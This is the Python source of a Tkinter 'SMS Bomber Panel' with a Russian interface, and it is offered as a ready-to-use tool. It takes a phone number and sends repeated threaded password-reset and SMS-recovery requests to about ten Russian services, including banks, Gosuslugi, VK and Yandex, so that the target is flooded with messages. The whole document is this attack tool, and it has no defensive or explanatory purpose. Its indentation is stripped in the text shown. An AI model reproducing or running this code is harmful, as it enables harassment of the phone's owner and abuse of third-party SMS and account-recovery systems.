Загрузка данных
import tkinter as tk
from tkinter import messagebox
import requests
import threading
import time
SERVICES = [
{"url": "https://www.sberbank.ru/api/sms/recovery", "payload": {}},
{"url": "https://id.tbank.ru/restore/sms", "payload": {}},
{"url": "https://api.vk.com/method/auth.restore", "payload": {"v": "5.131"}},
{"url": "https://esia.gosuslugi.ru/reset-password", "payload": {}},
{"url": "https://www.wildberries.ru/api/forgot-password", "payload": {}},
{"url": "https://www.ozon.ru/api/entry/forgot", "payload": {}},
{"url": "https://passport.yandex.ru/restore", "payload": {}},
{"url": "https://account.mail.ru/reset", "payload": {}},
{"url": "https://api.delivery-club.ru/v1/user/restore", "payload": {}},
{"url": "https://api.samokat.ru/v1/auth/request-reset", "payload": {}},
]
stop_flag = False
def send_sms(service, phone):
if stop_flag:
return
try:
service["payload"]["phone"] = phone
r = requests.post(service["url"], json=service["payload"], timeout=5)
return f"{service['url'].split('/')[2]}: {r.status_code}"
except:
return f"{service['url'].split('/')[2]}: ошибка"
def bomber(phone, cycles, delay, log_widget):
global stop_flag
stop_flag = False
for cycle in range(cycles):
if stop_flag:
log_widget.insert(tk.END, "Остановлено пользователем\n")
break
threads = []
results = []
for s in SERVICES:
if stop_flag:
break
s_copy = s.copy()
t = threading.Thread(target=lambda: results.append(send_sms(s_copy, phone)))
t.start()
threads.append(t)
time.sleep(0.05)
for t in threads:
t.join()
for res in results:
log_widget.insert(tk.END, res + "\n")
log_widget.insert(tk.END, f"Цикл {cycle+1} из {cycles} завершён.\n")
log_widget.see(tk.END)
if not stop_flag:
time.sleep(delay)
log_widget.insert(tk.END, "Бомбинг завершён.\n")
def start_bombing(phone_entry, cycles_entry, delay_entry, log_widget):
phone = phone_entry.get().strip()
if not phone:
messagebox.showerror("Ошибка", "Введите номер телефона")
return
try:
cycles = int(cycles_entry.get())
delay = int(delay_entry.get())
except:
messagebox.showerror("Ошибка", "Циклы и задержка должны быть числами")
return
threading.Thread(target=bomber, args=(phone, cycles, delay, log_widget), daemon=True).start()
def stop_bombing():
global stop_flag
stop_flag = True
def create_panel():
root = tk.Tk()
root.title("SMS Bomber Panel")
root.geometry("600x500")
root.resizable(False, False)
frame = tk.Frame(root)
frame.pack(pady=10)
tk.Label(frame, text="Номер телефона (11 цифр, без +):").grid(row=0, column=0, padx=5, pady=5)
phone_entry = tk.Entry(frame, width=15)
phone_entry.grid(row=0, column=1, padx=5, pady=5)
tk.Label(frame, text="Количество циклов (1 цикл = ~10 SMS):").grid(row=1, column=0, padx=5, pady=5)
cycles_entry = tk.Entry(frame, width=10)
cycles_entry.insert(0, "20")
cycles_entry.grid(row=1, column=1, padx=5, pady=5)
tk.Label(frame, text="Задержка между циклами (сек):").grid(row=2, column=0, padx=5, pady=5)
delay_entry = tk.Entry(frame, width=10)
delay_entry.insert(0, "2")
delay_entry.grid(row=2, column=1, padx=5, pady=5)
button_frame = tk.Frame(root)
button_frame.pack(pady=5)
start_btn = tk.Button(button_frame, text="Старт", bg="green", fg="white",
command=lambda: start_bombing(phone_entry, cycles_entry, delay_entry, log_text))
start_btn.pack(side=tk.LEFT, padx=10)
stop_btn = tk.Button(button_frame, text="Стоп", bg="red", fg="white",
command=stop_bombing)
stop_btn.pack(side=tk.LEFT, padx=10)
log_text = tk.Text(root, height=20, width=70)
log_text.pack(pady=10)
scroll = tk.Scrollbar(log_text)
scroll.pack(side=tk.RIGHT, fill=tk.Y)
log_text.config(yscrollcommand=scroll.set)
scroll.config(command=log_text.yview)
root.mainloop()
if __name__ == "__main__":
create_panel()